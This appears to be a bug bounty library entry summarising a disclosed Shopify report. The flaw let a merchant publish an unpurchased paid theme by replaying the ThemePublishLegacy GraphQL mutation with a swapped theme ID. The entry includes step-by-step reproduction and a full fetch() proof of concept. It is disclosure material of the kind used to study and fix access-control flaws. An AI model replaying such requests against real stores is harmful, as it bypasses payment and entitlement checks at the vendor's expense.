# Ability to publish a paid theme without purchasing it.

GraphQL ThemePublishLegacy mutation published an unpurchased paid theme, granting full edit/download access to premium theme files without payment.

- Payout: $2,000
- Severity: low
- Program: Shopify
- Found by: saltymermaid
- Disclosed: 2020-08-27
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/927567
- Library page: https://bugbountylibrary.com/r/h1%3A927567
- Tags: area:web domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:low tech:graphql technique:param-pollution vuln:access-control vuln:business-logic vuln:fee-bypass

**Target:** Shopify admin online-store GraphQL endpoint (ThemePublishLegacy mutation)
**Root cause:** The onlineStoreThemePublish mutation only checked theme ID ownership/existence, not whether the paid theme had been purchased, so any theme ID could be published.
**Steps:**
1. Install and publish default theme; install a free theme and a paid theme.
2. Extract paid theme ID from Customize URL `/admin/themes/[theme_id]/editor`.
3. Publish the free theme.
4. Capture the `ThemePublishLegacy` XHR as fetch.
5. Replay the fetch with `variables.id` set to `gid://shopify/OnlineStoreTheme/[PAID_THEME_ID]`.
6. Refresh admin: paid theme is now published/active and editable/downloadable.
**How found:** Researcher recalled the flow was previously protected, then tried swapping the theme ID in the publish mutation to a paid theme and observed it succeeded.
**Exploitation:** Authenticated merchant replays the ThemePublishLegacy GraphQL mutation with the paid theme's GID instead of the free theme's; server publishes it, granting ownership-like access to rename, edit, and download premium theme files.
**Insight:** When a mutation takes an object GID, test swapping in IDs of objects you don't own/paid for — entitlement checks are often tied to the UI flow, not the resolver.

## Proof of concept (copied exactly from the original report)

**GraphQL ThemePublishLegacy mutation publishing paid theme**

```
fetch("https://yourshop.myshopify.com/admin/online-store/admin/api/unversioned/graphql", {
      "headers": {
        "accept": "application/json",
        "accept-language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
        "cache-control": "no-cache",
        "content-type": "application/json",
        "pragma": "no-cache",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "x-online-store-web": "1"
      },
      "referrerPolicy": "no-referrer",
      "body": "{\"operationName\":\"ThemePublishLegacy\",\"variables\":{\"id\":\"gid://shopify/OnlineStoreTheme/[THEME_ID]\"},\"query\":\"mutation     ThemePublishLegacy($id: ID!) {\\n  onlineStoreThemePublish(id: $id) {\\n    theme {\\n      id\\n      __typename\\n    }\\n    userErrors {\\n      field\\n          message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    });
```

